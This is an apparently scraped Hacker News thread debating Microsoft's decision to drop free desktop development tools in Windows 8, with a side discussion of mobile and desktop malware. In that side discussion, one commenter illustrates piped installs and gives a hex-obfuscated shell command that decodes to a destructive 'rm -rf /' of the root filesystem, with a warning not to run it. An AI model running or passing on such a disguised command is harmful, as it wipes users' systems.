No-cost desktop software development is dead on Windows 8
arstechnica.com
arstechnica.com
Honestly, for a tool you would use all day long at work, $500 is cheap. If you NEED Visual Studio for C++, then it's worth the money.
Sure, on Linux and OS X you get free dev tools like XCode and GCC, but MSFT spends a lot of money building these tools, so if they decide they no longer want to subsidize them by offering them free, it's their business.
They want devs making Metro apps, not old Win32 C++ apps. If they don't get Metro apps to be built in a big way, Windows 8 tablet edition for human beings 2012 is never going to take off.
It makes sense for Microsoft.
If they decide that they don't want any apps on Windows other than Office it's their business. But it's a bit of a change from developers-developers-developers!
You're being sarcastic, but it would a possible move too. And yes, if you're writing apps you can afford it. It's not like Windows has too few apps, anyway, the could use the price as a quality control to throw one-man software companies out (there goes 99% of shareware).
They might not get many desktop upgrades from Win7 though !
That would be like going into McDonalds and shooting everyone but the cleaners.
Mingw may work, but it's still not a first-party tool, and it's still not fully compatible to microsoft's compilers.
Is there anything new that Windows 8 is doing that will cause Cygwin to regress?
so does the rest of the world, unfortunately.
Proposition A: Developers who write windows apps love
Visual Studio.
Proposition B: Developers who NEED Visual Studio can
afford a $500 piece of software.
Proposition C: Other OSes still provide free tools
Proposition D: MSFT spends money on developing this, so
they can choose to charge money for
supplying this
Proposition E: MSFT wants people to make metro apps in a
big way, and not to work on win32 stuff
Conclusion: Charging money for Visual Studio is sensible
Propositions A, B, and D form a coherent argument in support of your conclusion, and Proposition C may be nice to include, but isn't helping here. Proposition E appears to run entirely counter to your point.edit: as my responder points out, I'm incorrect in this assessment -- proposition E fits into the argument just fine. This is the folly of reading comments before having read the article!
"Visual Studio is sufficiently awesome that full-time developers--the ones who need Win32 support--can easily afford $500. For those who can't, Microsoft is making a deal: they'll give you a free copy of Visual Studio, but it's only good for targeting the new Windows 8 Metro environment. In other words, if you're willing to take the risk of developing for the new hotness that currently has basically zero apps for it, Microsoft will foot the bill. If you want to target the massive installed base that is Windows 7 and younger, you foot the bill."
I'm not saying I agree, but the argument is coherent.
After having read it, the article's title really doesn't fit the reality. If you want to develop traditional win32 apps, you can keep using VS2010. VS2011 has all the latest and greatest tech for them, but that's similar to the present divide between Express and Ultimate. This article appears to be trying very hard to frame the debate or sensationalize things.
It's fair to point out that if this trend continues into the next generation so that VS2010 becomes a sort of ghetto-compiler it's very bad, but we have no reason to believe right now that it will. Microsoft probably isn't stupid enough to shoot themselves that hard.
Its rarely because they knowingly like it.
That's the opinion I've managed to deduce after working with over 200 heavy vs users over 10 years.
VS 2008 and 2010 are worlds better than 2005 -- so if we count the last 10 years nearly half of that will be people using 2005, and yes that was awful. Two version later, is it worth asking for a good price for a full featured version? Probably.
However, I tend to rarely use the debugger on my own code in any language since I started doing incremental TDD and using assertions galore all over the place to check inputs, outputs and assumptions. Prevention is better than cure (or debugging).
We don't have any problems at all. In fact it's really easy.
We use nservicebus and share by communicating rather than communicate by sharing. We use concurrentqueue class in the framework and all is solved.
You can't assert a list of hard coded values are all correctly spelled via an assert. You can't determine if a library that has it's own asserts is failing or your code is failing. You can't always add asserts to legacy code, etc.
I fail to see your point.
Assertions check assumptions and tests test code.
And yea you can use a dictfile from Unix to test spelling quite easily (we do it for document construction)
Nothing is ever 100% certain.
Are you suggesting that I magically write perfect software?
I don't, but it works first time in 99% of cases with the right tests and assertions.
The 1% left goes to debugging.
Our bug rate is approx 1 per 2000 lines of code that hit production.
Visual Studio is a fine IDE that has a lot of things going for it. Hell, now that I write Obj-C for a living I wish Xcode was more like VS (especially when it comes to stability).
In contrast, I'd rather marathon American Idol than use Eclipse for a single day.
Eclipse is fine when you get used to it. It has a fairly hefty learning curve but when you get there, it's awesome.
Recent additions include integrated Git, code intelligence so good that it understands C++ templates, in-IDE static analysis, one-keystroke to fix typos in identifiers, etc.
No scripting. Cretinous window layout facilities. No search and replace in selection. No mixed source/disassembly view. Registers view disappears when as you debug. No keyboard shortcut for rectangular selections. Code browsing menu 'thing' doesn't show structs. That stupid log navigator is too damn narrow, and has a proportional font. Pasting of rectangular selections doesn't work. No column/line number display. Lacks numerous basic simple text manipulation commands.
As a Mac dev for about two decades, I find that Xcode has taken a massive downhill slide latel. It went from merely mediocre to nearly unusable in a remarkably short amount of time.
I am not really a GUI person.
I ... loved Visual Studio + VB6 for UI heavy apps. The programming language was kinda lame but it was just about good enough, and the form designer tools were excellent.
I debugged using whatever the (now lost from my memory) appropriate colloqualism for printing to stderr was, because yeah, sorry, I'm like that. But I loved it for everything else even so.
Do not underestimate the awesomeness that is Visual Studio once you've had time to develop enough Stockholm to ignor the crazy quirks.
But for doing lower-level native Win32 code, the kind of thing Microsoft seems to be wishing would just go away, I prefer a command line compiler. Linux and Mac are generally much better for that kind of development.
I deal with large (1Mloc+) 10 year+ old codebases in C#/ASP.Net and it is in no way capable of handling a large project without chopping it into miniscule assemblies and having solutions for each.
The IDE is monolithic enough to have severe usability and performance problems. It doesn't scale well and therefore is a risk if you want to continue using the platform for many years.
One could guess that insufficient of their customers have codebases like that for them to care over whichever feature requests got priority instead.
But, um, ow. I feel for you.
We got rid of visual svn and resharper as they made it less reliable.
Disclaimer: I work for Microsoft.
Your assertions about why developers like Visual Studio are nonsense... I like it over Sublime Text, RubyMine, WebStorm, gedit, XCode, and a slew of other tools / editors I've used. Why?
Because it has a great extension ecosystem (ReSharper, dotCover, TestDriven.NET, Git Extensions, VisualSVN), has by far and above the best live debugging tools on the planet, the best code completion, IntelliSense, and a slew of other features that make my development faster and easier.
And I say this as someone who's done plenty of C# in MonoDevelop too, without the aid of many of those VS features.
So no, Visual Studio hasn't jedi-mind-tricked me into liking it - I like it because it gives me the best experience and makes me more productive.
As a rule of thumb, Windows devs are mentally locked into Visual Studio and GUIs. They do not want to touch the command line. Open source scares them because it's libre & free. It's like some freaky movie where the Alien Software got downloaded into human brains and started issuing commands.
It's like some of these guys don't do computer programming any more. They program Visual Studio using C#. Of course, Visual Studio ain't bad, but the Visual Studio users are pretty rabid.
They would fork over thousands for their addiction.
I know many programmers (myself included) who have programmed and are reasonably competent in different languages using different text editors and IDE's on different operating systems and have made a conscious decision to use Visual Studio because, well, it is the tool that allows them to be the most productive. Companies choose Visual Studio because it allows their teams to be most productive.
I find myself using VS more and more for personal projects, as I haven't found anything that can beat the combination of F# and C# when used from VS. The .NET framework and languages have seen the introduction of some really exciting stuff such as LINQ, Reactive Extensions etc. etc. which are all supported by VS and offer more than enough for developers to keep interested in the platform.
Here's a rule of thumb for you: Good developers use the best tool for the job without getting religious about platforms.
The only for DevDiv to regain its honour is by reminding Windows Divisino that the oxygen Windows lives on is in DevDiv creating new developers. Given that VS11 Express is only a toy, and requires a presumed $99 annual subscription to deploy, it is going to be difficult for any students to justify.
This civil war is going to maim the Windows ecosystem at a time when it is especially weak.
Regarding students, though, Microsoft has DreamSpark, which looks like BizSpark for students (all the way down to high school students, apparently). They can get free access to VS and at least some subset of operating systems.
75% of my time writing software is:
* Watching VS crash miserably. It's just seriously unreliable.
* Digging through MSDN trying to find out cryptic errors.
* Desperately trying to debug issues with various black boxes (today was 4 hours on a w3wp crash due to a CLR.dll bug related to stack usage resulting in an interesting session with EDITBIN).
* Dredging through hotfix lists trying to find out which one solved a problem.
* Sitting on the phone for HOURS to MS support who barely speak a work of English these days and don't give a shit - they just want you to fuck off so they can close the case. This is usually because two products won't talk to each other (IE and ClickOnce for example).
* WAITING LITERALLY FUCKING HOURS for things to compile and rebuild.
* Endless fucking updates that take several minutes to apply, sometimes an hour plus. I WANT TO USE MY FUCKING COMPUTER.
Not much:
* solving problems of my own.
Sorry for the rant but that's why it's really dead.
Good riddance.
It's all a "me too" as google and apple have app stores.
Bring on the web for everything.
Really, Eclipse is the same way (if you don't add any extra plugins, it works very very well!).
Yes that's really three zeroes rounded down heavily (8 hours a day, 23 days a month, 12 months a year for 10 years)...
But I digress.
Even if I assume honesty from you, what does it say about you that you would use a tool for 18K hours and then berate it in such a way because you had a bad day today? I have been using VS in its various forms since 1995 and while it can be buggy and can crash - it is still a venerable tool. I use XCode, MonoDevlop, RubyMine and Eclipse as well and they all have problems. Claiming VS is 'seriously unreliable' basically makes people ignore everything you say after that because millions of people know better. Crash yes, on occasion...unreliable is different.
If you really want to be pedantic, Visual Studio .Net 7.0.
It's not just today - it's been 10 years of hell. Unfortunately it pays the bills (just about).
It's not venerable tool. It's like sitting in front of a pressing machine that pokes you in the eye once an hour, but not quite enough to do you serious damage.
I've been poked in the eye 18,000 times.
I work on C++ desktop apps, though, and they aren't huge. Your mileage may vary.
For developers, they often provided carrots to encourage them in a certain direction. This tended to work sort of well, as there are always large numbers of new CS students expecting the Microsoft-recommended stack to provide a reliable career ticket. Maybe after they saw what Microsoft just did to Silverlight developers and they're not so eager to follow that path.
I never thought that they'd go so far as to actually take the stick to native Win32 developers. How can they not realize how much of their app ecosystem is still built on native code and how much easier it is to get started with that type of development on other platforms?
(In every one of these forums one or two people pop up to say how great this will be for developers and you can still use the free Visual Studio 2010 Express Edition to write native code or managed code to write C++. This is not correct, that product is crippleware and the managed code stuff is not anything like native C++.)
http://www.microsoft.com/bizspark/
The only requirements are you have to be working on the MS stack, privately held, and making less than a million bucks.
This 3 year "absurd generosity" is nothing more than a classic bait and switch Marketing strategy - although it does have the pleasant side-effect of not immediately obvious, and is sometimes mistaken for generosity.
The point is that with their competition, customers are never required to afford the tools.
> it's helping customers use a product to make money with which they can pay for the product
Again, it's helping customers into a position they'll need to be customers in the future, if they have a future. If they don't, why would Microsoft care?
It's only helping customers choose their product and "3 years free!" makes the MS Stack look like a better choice than it really is against the "really is free for life" stacks. This all happens at the most critical time for a business - when stakeholders decide what platform they're going to adopt.
Meanwhile whilst your busy building your business on their stack MS is free to raise their prices - and SQL Server is amongst the most expensive licences and hosting there is, which has recently seen liberal price increases - whilst at the same time offering a sweet migration path to their expensive subscription-in-the-sky services (aka Azure).
They also have the ability to crank up the price whenever they feel like it. They're also offering their product 'for free' at the most critical time for a business - when deciding what product to use.
The only way what you say makes sense is if people buying into the program are dumb enough or ill-informed enough to not know that there are open-source alternatives available for what they want to do.
But no one is confusing their free-trials as anything other than a marketing strategy to maintain a low barrier to entry to get more people to first try then use their product.
i.e. I've never heard anyone say SalesForce is absurdly generous because of their free trials.
As someone who is currently enjoying the benefits of BizSpark, you're completely wrong.
Your sense of entitlement is simply amazing. I write software, and I charge for it. I would never expect a package as complex and high quality as Visual Studio to be free. The fact that I can use it for free for three years is fantastic, and I'm grateful for it.
One datapoint: I've been developing on the MS stack for a little over 15 years, paying for my own tools. I've never paid anything close to full price for any of it.
Patricks's assessment of reality is a lot closer to the mark than yours. Microsoft really does want developers for their platform more than they want developers' money. All their stuff has price tags, but they lots of people on their payroll whose only job in life is to make sure nobody pays the price listed on those tags.
I could run that whole arm of their business with one employee.
No it isn't. The product people use for 3 years isn't switched out for another thing. They don't bait the trap with one thing and then switch it out.
This is a classic "first one's free", or "demo" marketing strategy, which is much less nefarious and malicious than you imply.
First of all, for the longest time there were no free versions of Visual Studio for producing any kind of application.
Second, even the recent "Express" versions have always been severely crippled. Where were the "No-cost 64-bit development is Dead on Windows 7" when the previous Express versions were released?
The Express versions are more like promotional tools than real versions of VS. For any serious development you'll probably need to buy a VS license anyway.
But the command line compilers in the SDK and DDK are a different story.
You can do serious development with Express, its actually a quite nice and small IDE, great for laptops with capacity issues. If you are doing C# programming on .NET, then really what else do you really need?
Even though I can afford the Professional version now, I really don't like to see the way that they are going. I think its boneheaded and might close them off to a new generation of programmers. Open Source and IOS development are already seen as the "cool thing". I don't see how this move gets Microsoft back into the good graces of a younger generation of programmers.
Companies that are willing to take long term risks are not valued in a world of high frequency trading. Balmer is hoping that by force feeding Windows 8 Metro apps down developer throats he will convince Wall Street that Microsoft isn't dead yet.
My bet is most of these developers currently pay for Visual Studio professional versions anyway. So, not much different for them. Seems like the new restrictions are just for hobby development - they'll be forced to make Metro-style apps, which is what they (MS) wants.
Compatibility with the native Win32 app ecosystem is the primary source of Windows' monopoly on desktop computing. Microsoft products rarely succeed outside of that (like any other company). For them to actively try to kill that off is truly insane IMHO.
Not me of course...
I actually remember trying to decide between eclipse and VB6. What whim made me end up choosing the latter now completely escapes me. I think it was because it didn't have those weird {} braces. Ah, C#, the irony.
The trouble with all these 'cheap cause you use it all the time' tools is that to start with you don't want to use them all the time. So they're relatively very expensive.
For example I was just re-learning programming to prove a point to my boss that the internal IT program sucked.
Not having the 2011 IDE isn't going to affect my productivity anywhere near the degree that a lack of coding expertise does...it's not like I need to rush out and upgrade just for the sake of upgrading. If I have an excuse to skip an upgrade cycle next year, that's fine with me.
Over the long term, I expect Microsoft to continue to provide appropriate tools for the amazing price of free as in beer...again, it's just hard for me to see what someone is complaining about when 2010 Express Edition will continue to be available.
Finally, Reading through the comments, there's very little, "I use VS Express and now I'm screwed." I've played around with Windows Phone SDK, and it's easier to produce something that looks good than with WPF or Forms. Though I hate to say it, switching to all Metro for anything desktop related will probably make me more productive not less.
(edit) If I want to write a command line utility, I'll continue to use powershell.
I don't understand why they would do this. Seems like people will just shrug and migrate towards the free tools that will help them solve a variety of problems in more interesting ways (e.g. gcc, python, ruby, JS, etc.). Then they'll start migrating towards platforms that make it easy to create those solutions (Linux, OSX).
It's unusual to use something like the WDK for Desktop Apps, but it works.
The compiler is a bit outdated, and there is need for some trickery to get stl7 (internal naming) to work, but if something is missing you can install latest WSDK with it and reuse missing libs/headers from there (platform sdk)
At work I do use VS2010 with .sln/.vcxproj, but for my projects I just stay away from this - either makefiles, shell scripts, or some other tool, but not .sln/.vcxproj
Then again, I don't do much UI stuff, and If I do - I do it in code.
Debugging is there (but a bit harder, then again much more powerful) with WinDBG. There is also OllyDBG.
So WDK + SDK (missing pieces) and I'm set. And since I avoid heavy C++ projects, prefer to stick to C it's not problem for me. Occasionally I have to fix simple problems, like variable not declared at the top of the block, which never "C" compilers are okay, but MSC 15.0 is not (the one from WDK 7.1)
I hope Ubuntu exploits this opportunity.
Ubuntu is no longer the future of Linux adoption.
But I'm sure IBM was thinking "if you're making hardware devices why couldn't you afford $400 for a OS/2 driver developer license?" Like Microsoft's dim early understanding of open source software, completely missing the point.
That thing is crippleware anyway, it can't even produce native 64-bit executables. Raise your hand if you're still on a 32-bit operating system.
Just make a local copy of the installer after you download it then. Even if you forget to do this, prominent files like this don't disappear from the Internet; at worst you could torrent it. (And that should be legal since I don't think the software expires.)
http://www.microsoft.com/visualstudio/en-us/products/2008-ed...
The reason Visual Studio 2005 Express Edition is no longer available for download may be found here:
http://stackoverflow.com/questions/780741/where-is-visual-st...
I agree this is really shocking. Even if most Windows devs bought into Visual Studio Pro & MSDN, there was always the free option.
It has the appearance of being free and open, but a lot of the framework is not and has aggressive licenses.
It's easy to creep into those bits unintentionally via ignorance or dependency and then you're stuck with the vendor's extensions (MS) which are hard to shake.
(I've been a C# developer since pre-beta days so I'm fairly experienced at getting shot by these things).
Java is pretty much open, there are several implementations and most components in their stacks and application stacks on top are 100% pluggable (including J2EE). The same is not the case for anything which involves WCF, ASP.Net etc.
Ideally ANSI common lisp would be better as there are several competing implementations and one core standard.
Common lisp isn't all that functional TBH (it can be if you want it to be though)
That being said unless it's just a quick hack for myself I tend to stray from C# due to it not being usable on all platforms.
That says something about the portability and consistency of Java, rather than the ability of c#.
The reverse is not possible due to the platform lock in.
Microsoft is in the development tool business and the Express editions were never meant for professional development (open source or not).
But maybe the .NET SDK keeps being free.
It's a real pity, but well, Visual Studio didn't have a Express version "back then" before the .NET days (think Visual Studio 6)
This may very well be another reason not to use Windows
I note that eclipse + MinGW works quite well, though I wish the debugger was a little more configurable. I haven't used Code::Blocks, so I can't compare.
Quite simply because a network operator or handset manufacturer (often both) make their own changes to what is, I imagine, a relatively secure base platform.
That requires users to trust the NetOp and manufacturer's intentions and, assuming that's all good, users must trust that the NetOp and manufacturer's code is secure.
My trust, like my respect, is earnt. It's not handed away on a silver platter.
How about this news from an hour ago?
http://www.informationweek.com/news/security/attacks/2400009...
Or this posted 6 hours ago?
http://www.cbronline.com/news/uk-regulator-shuts-down-androi...
This was posted yesterday.
http://www.forbes.com/sites/andygreenberg/2012/05/23/researc...
Let me know if you need more references.
Note, I didn't say Android is inherently less secure than iOS. Apps policy is the difference and the topic of discussion.
What's up with the needless FUD accusations?
> Android on mobile shows us how spyware and viruses are a very big problem without those restrictions, compared to, say iOS
Which I took as saying Android is inherently less secure, but I agree after your clarification that isn't what you were actually saying.
That said, this doesn't show Android is more susceptible to viruses than iOS devices, and iPhones are not immune to botnets either (http://nakedsecurity.sophos.com/2010/03/09/8000-iphone-andro... - though this only affected jailbroken iPhones). Previous jailbreak exploits that worked through Safari could have been disastrous as well - it's not that iOS is more secure, but I do agree it seems to be less targeted. As the popularity of iOS seems to be on the rise I believe this will change.
iOS has full W^X (aka DEP), Android does not. This prevents JITs on iOS, but it also makes exploits more complex. iOS also has full ASLR (even kernel-level ASLR likely coming in 6.0), Android doesn't to the same extent. iOS also has a more restrictive an low-level sandbox, which denies access to many kernel interfaces; Android has a sandbox, but less restrictive. iOS also has app review; with Android, malware could (and has) easily enter the user-facing market. All code that runs on iOS must be signed by Apple, this significantly hurts exploit development as all code must be written using "gadgets" from existing, signed code. Android will run anything.
Android also has the issue of updates: most Android 2.x phones are not going to ever get the improvements in later versions.
More technical info: http://www.trailofbits.com/resources/mobile_eip-04-19-2012.p...
But then, OSX and Linux don't have quite as many spyware and viruses, so the lack of restrictions is NOT the problem.
(yes, OSX has recently seen a surge in malware - the vast majority of it predicated on exploiting Java. Java might be a problem. Lack of restrictions isn't)
http://en.wikipedia.org/wiki/Usage_share_of_operating_system...
To sum it up, my assertion is:
Popular and lack-of-restrictions implies malware is made.
And what you said does not contradict that assertion.
That's a more reasonable assertion (but isn't what your original post said, nor was popularity implied).
And while it is reasonable, I don't think there's really a way to draw a conclusion here; e.g. in the early 2000s, Apache had something like 6 times the market share of IIS and about 1/30 of the exploits; product design DOES make a difference here.
I don't know how easy it is to get someone to run an OSX executable, but a linux virus spreading by email would have to include instructions to the user along the lines of
save this file as really_innocent_file, drop into a shell, run
chmod a+x really_innocent_file && exec really_innocent_file
and you'll see a naked picture of $CELEBRITY.RVM uses curl piped to bash in its installation instructions (https://rvm.io/rvm/install/)
$ curl -L get.rvm.io | bash -s stable
Viruses need only do the same thing. $(echo 7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a | xxd -r -p)
Disclaimer: don't run that.Right now, one of the top stories on HN is Rogue Amoeba's Airfoil Speakers Touch iOS app being removed from the App Store (http://news.ycombinator.com/item?id=4019660). If the devices I use subscribed to the "user must be totally protected from themselves" philosophy, then I'd be totally unable to use their product. However, that's thankfully not the case -- I can still purchase and use Airfoil for Mac and Windows, two (currently) mostly open platforms (http://rogueamoeba.com/airfoil/).
Mountain Lion's Gatekeeper, iOS, and the WinRT restrictions make me wary of the future.
I believe their argument is to allow them to retain a semblance of control on their respective platforms. Something about people always blaming the maker of their operating system for the glitches which may or may not actually be the OS's fault, and can tend to be the programmers fault.
That's what they say anyways.
That is because software development tools like all other software is just data, once written and debugged. Data can be copied at zero cost, which can not be said about physical tools, at least for now.
Visual Studio 2010 will continue to work just fine. As will 2008 or even 2005. Anyone with a business license, even a $50 sole proprietorship, can get every piece of software Microsoft makes for zero dollars via free MSDN subscription [1]. This includes licenses for Office, XP/Vista/Win7 home/pro/ultimate, Visual Studio Ultimate, SQL Server, and so on and so forth. The licenses are free forever and ever.
[1] BizSpark program. It's fantastic. http://www.microsoft.com/bizspark/
That said, there are more folks who could care less about writing code on a PC doing work or using one, than people who do write code. That fact coupled with the cost of tool maintenance leads Microsoft to choose the route they are on.
Computers, and dedicated personal computers, will continue until the heat death of the universe as far as I can tell but the number of folks who need the 'general purpose programmability' seems to have flattened out.
Also I'm wondering something about Metro... so far I haven't found a wrapper for OpenGL, but only Direct3D. Yet another attempt at killing a competing standard?
C++ is a slowly fading language. Most universities/colleges are abandoning it and those that still cling to it are in an anti-MS mindset. Therefore, not to much to loose here.
In that case, I suppose this is your best hope: https://github.com/mozilla/servo
(Not quite a web browser yet, last I checked its exhaustive feature list was "drawing rectangles". But getting there, slowly.)
Don't know where you got that impression. No one in the industry that always used C++ abandons it. That is, any kind of shrink-wrapped software, from Office and Photoshop, to Final Cut Studio, to databases, to games etc. Even the biggest of the web shops rely on it, namely Google and Facebook.
If anything there has been a tremendous comeback of C++ in the last year, especially with the new standard.
But what you got more wrong is the assumption that MS somehow abandons C++ with this move? Actually MS heavily touts C++/0x for Metro and general windows development.
They even had a huge conference touting the return to emphasis to C++ a couple of months ago, titled "back to native".
I was wondering how Win8 was going to self-destruct, thanks for letting me know.
<!doctype html>
<meta charset=utf-8>
<title>Metro app</title>
hello, world<br>I don't even understand this "everything must be a super simple little app" approach that both Apple and (and now because they're a big copy cat) Microsoft are taking. Is this really what the populace wants? I understand that constraints often yield the best designs, but this is a little crazy.
And as far as the dev tooling - that was one area that Microsoft was notably competent. I really can't see how this will benefit them in the long term. Seriously, what is the upside for them? A few more Metro apps? They'll win the battle but lose the war.
Thus Unity, and Gnome 3, and Lion, and Metro. And most of these things don't even suck, they're just needlessly different.
What irks me and others, I suspect, is that the standard WIMP desktop was a mature, well-understood, and very usable metaphor. There's nothing wrong with it.
Immediate visibility of functionality, dropping the filesystem metaphor, standardizing and simplifying the installation of software, and enforcing a consistent UX works better than WIMP for a significant portion of people who would rather not expend effort on making their tools carry out their will. (Only, of course, if their wills are relatively simple. But the intuitiveness vs. power tradeoff is a technology problem, and one there is going to be market pressure to solve.)
I'll have you know that my grandmother, for one, is fully capable of using Windows.
As an aside, we really, really need to protect the future from the tyranny of past generations.
And that's not to say that there aren't usability enhancements in the new devices that are worthwhile. But don't pretend that smartphones are "opening computing to a whole new world", becuase they aren't. Like the desktop PC before them, they are the tools of the middle class.
Well, given that there's been little to no innovation in native Windows applications in the past five years, I think it's fair to say the populace doesn't want the status quo.
Microsoft has to do something. I don't like what they chose to do (I worked on Win8 for a while before quitting, in part because of their direction), but it's clear to me that they had to take some risks or be faced with an inevitable slow obsolescence.
Is the expectation that an IDE as powerful as Visual Studio be given away for free? Or just that the Windows Store not charge a fee for utilizing their distribution infrastructure?
There was a time before Express editions.
edit: I failed to scroll through the rest of the article, feel free to ignore me. I would delete but I don't like stranding replies. Apologies.
The Windows SDK no longer ships with a complete command-line build environment. The Windows SDK now requires a compiler and build environment to be installed separately.
Below that they also list a dozen tools and a bunch of documentation and samples that they also no longer include in the SDK. My guess is that they're just trimming down their SDK downloads. Their SDK has been getting more and more bloated over the years with utilities and samples and stuff that most devs don't need.Completely dropping their command line tools doesn't make sense for anyone who runs build servers; it doesn't make sense for their Powershell tools; and it really doesn't make sense when you consider their recent moves in Open Source. My guess is that the command line tools will be separate downloads from the basic SDK and you'll still be able to write C# code in Notepad++ if you like. The basic SDK will be targeting people writing Metro apps (which they want to encourage by default), but they aren't going to just drop everything else. This is a company that lives and breathes backward compatibility, after all.
It's just a case of poor messaging by Microsoft. Remember last year when everyone thought that all Windows 8 apps were going to be Javascript/HTML 5?
So by definition tablet and phone apps are unproductive? Actually that's probably true!